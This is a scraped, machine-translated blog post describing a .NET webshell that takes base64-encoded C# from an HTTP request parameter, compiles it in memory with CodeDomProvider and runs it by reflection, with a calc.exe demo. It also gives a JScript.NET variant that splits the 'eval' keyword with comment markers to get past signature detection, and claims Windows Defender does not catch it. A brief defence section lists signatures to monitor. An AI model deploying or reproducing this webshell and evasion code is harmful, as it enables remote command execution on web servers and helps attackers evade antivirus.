当前位置:网站首页>Implementation of arbitrary code execution based on.Net dynamic compilation technology
Implementation of arbitrary code execution based on.Net dynamic compilation technology
2022-07-27 21:57:00 【biyusr】
One 、 Preface
The current mainstream Waf or Windows Defender Wait for the terminal to kill the software 、EDR Most of them are checked and killed from the signature code , stay .Net and VBS Next, the most common feature of Trojans is eval, For attackers, you need to avoid this system keyword , It can be avoided from deserialization eval, However, it has been publicly believed for a long time that many security products have been able to detect and block such attack requests . The author from the .NET Built in CodeDomProvider Class to realize dynamic compilation .NET Code , To specify JScrip perhaps C# As a compiler language , Compilation of WebShell at present Windows Defender Won't kill . The defender identifies from traffic or terminals "CodeDomProvider.CreateProvider、CreateInstance" Equal characteristic code .
Two 、 Dynamic compilation
.Net The externally input string can be executed as code through compilation technology , Dynamic compilation technology provides two core classes CodeDomProvider and CompilerParameters, The former is equivalent to a compiler , The latter is equivalent to compiler parameters ,CodeDomProvider Support for multiple languages ( Such as C#、VB、Jscript), Compiler parameters CompilerParameters.GenerateExecutable The default is to generate dll,GenerateInMemory= true When, it means loading in memory ,CompileAssemblyFromSource Represents the data source of the assembly , Then generate the assembly from the compilation results for reflection calls . Finally through CreateInstance Instantiate the object and call the methods in the custom class by reflection .
CodeDomProvider compiler = CodeDomProvider.CreateProvider("C#"); ; // compilerCompilerParameters comPara = new CompilerParameters(); // Compiler parameterscomPara.ReferencedAssemblies.Add("System.dll"); // Add referencecomPara.GenerateExecutable = false; // Generate execomPara.GenerateInMemory = true; // In the memoryCompilerResults compilerResults = compiler.CompileAssemblyFromSource(comPara, SourceText(txt)); // Source of compiled dataAssembly objAssembly = compilerResults.CompiledAssembly; // Compile into an assemblyobject objInstance = objAssembly.CreateInstance("Neteye.NeteyeInput"); // Create objectsMethodInfo objMifo = objInstance.GetType().GetMethod("OutPut"); // Reflection calls methodvar result = objMifo.Invoke(objInstance, null);
3、 ... and 、 Landing to achieve
In the above code SourceText Methods need to provide compiled C# Source code , The author created NeteyeInput class , as follows
public static string SourceText(string txt){StringBuilder sb = new StringBuilder();sb.Append("using System;");sb.Append(Environment.NewLine);sb.Append("namespace Neteye");sb.Append(Environment.NewLine);sb.Append("{");sb.Append(Environment.NewLine);sb.Append(" public class NeteyeInput");sb.Append(Environment.NewLine);sb.Append(" {");sb.Append(Environment.NewLine);sb.Append(" public void OutPut()");sb.Append(Environment.NewLine);sb.Append(" {");sb.Append(Environment.NewLine);sb.Append(Encoding.GetEncoding("UTF-8").GetString(Convert.FromBase64String(txt)));sb.Append(Environment.NewLine);sb.Append(" }");sb.Append(Environment.NewLine);sb.Append(" }");sb.Append(Environment.NewLine);sb.Append("}");string code = sb.ToString();return code;}
Class declares OutPut Method , This method passes Base64 Decode the input native string , The author here takes the calculator as a demonstration , take “System.Diagnostics.Process.Start("cmd.exe","/c calc");”
Encoded as
U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MuU3RhcnQoImNtZC5leGUiLCIvYyBjYWxjIik7Finally, in the general processing program ProcessRequest Call in method
public void ProcessRequest(HttpContext context){context.Response.ContentType = "text/plain";if (!string.IsNullOrEmpty(context.Request["txt"])){DynamicCodeExecute(context.Request["txt"]); //start calc: U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MuU3RhcnQoImNtZC5leGUiLCIvYyBjYWxjIik7context.Response.Write("Execute Status: Success!");}else{context.Response.Write("Just For Fun, Please Input txt!");}}

Four 、 Other methods
Jscript.Net Dynamic compilation and disassembly eval
stay .NET In the field of security, the mainstream of Trojans is to eval Keyword execution , Many security products will focus on this , So I need To avoid the eval, And in the .NET in eval Is only found in Jscript.Net, Therefore, you need to specify the dynamic compiler as Jscript, The rest and C# The dynamic compilation of the version is basically the same , By inserting irrelevant characters, the author will eval Take it apart , The code is as follows
private static readonly string _jscriptClassText =@"import System;class JScriptRun{public static function RunExp(expression : String) : String{return e/*@[email protected]*/v/*@[email protected]*/a/*@[email protected]*/l(expression);}}";
Just replace the irrelevant string when compiling “/*@[email protected]*/”, Finally, the post compilation reflection executes the target method .
CompilerResults results = compiler.CompileAssemblyFromSource(parameters, _jscriptClassText.Replace("/*@[email protected]*/",""));5、 ... and 、 Defensive measures
commonly web There are not many application scenarios , Detect signatures :CodeDomProvider.CreateProvider、CreateInstance wait , In case of alarm, pay special attention ;
The assembly generated by compilation is saved on the hard disk as a temporary file , Need to add to the writable directory dll Monitoring of document content ;
The code involved in this article has been packaged in "https://github.com/Ivan1ee/.NETWebShell"
边栏推荐
- Search, insert and delete of hash table
- How can anyone ask how MySQL archives data?
- Software testing interview question: what is regression testing?
- Lvs+kept highly available cluster
- Huawei establishes global ecological development department: fully promote HMS global ecological construction
- 深入理解递归的方法调用(含实例迷宫问题、汉诺塔、猴子吃桃、斐波拉契、阶乘))
- Software test interview question: suppose there is a text box that requires the input of a 10 character postal code, how should the text box be divided into equivalent classes?
- 聊聊 MySQL 事务二阶段提交
- MySQL data recovery process is based on binlog redolog undo
- What is eplato cast by Plato farm on elephant swap? Why is there a high premium?
猜你喜欢

Station B collapsed. If we were the developer responsible for the repair that night

Analysis of STL source code

IDEA常用快捷键及设置方法

关系型数据库的设计思想,20张图给你看的明明白白

一篇文章带你走进pycharm的世界----别再问我pycharm的安装和环境配置了!!!

day 1 - day 4

LinkedList underlying source code

微软商店无法下载应用,VS2019无法下载插件问题解决方案

day 1 - day 4

Talk about MySQL transaction two-phase commit
随机推荐
软件测试面试题:假设有一个文本框要求输入10个字符的邮政编码,对于该文本框应该怎样划分等价类?
Log4j 漏洞仍普遍存在,并持续造成影响
B站崩了,如果我们是那晚负责修复的开发人员
QT take out the input box string, lineedit
Form of objects in memory & memory allocation mechanism
自研5G芯片商用推迟?未来4年苹果iPhone都将采用高通5G芯片
软件测试面试题:设计系统测试计划需要参考的项目文档?
OPPO造芯计划正式公布:首款芯片或为OPPO M1
Software test interview questions: the steps to write test cases by drawing cause and effect diagrams are___ And transforming the cause and effect diagram into a state diagram in five steps. What are
Software testing interview question: what aspects should be considered when designing test cases, that is, which aspects should different test cases be tested for?
Will the United States prohibit all Chinese enterprises from purchasing American chips? Trump responded like this
腾讯云[HiFlow】| 自动化 -------HiFlow:还在复制粘贴?
聊聊 MySQL 事务二阶段提交
Exception -exception
Simple manual implementation of map
Software test interview question: please say who is the best person to complete these tests, and what is the test?
First zhanrui 5g chip! Exposure of Hisense F50, a pure domestic 5g mobile phone: equipped with Huben T710 + chunteng 510
软件测试面试题:通过画因果图来写测试用例的步骤为___、___、___、___及把因果图转换为状态图共五个步骤。 利用因果图生成测试用例的基本步骤是?
Basic usage of two-dimensional array
In addition to "adding machines", in fact, your micro service can be optimized like this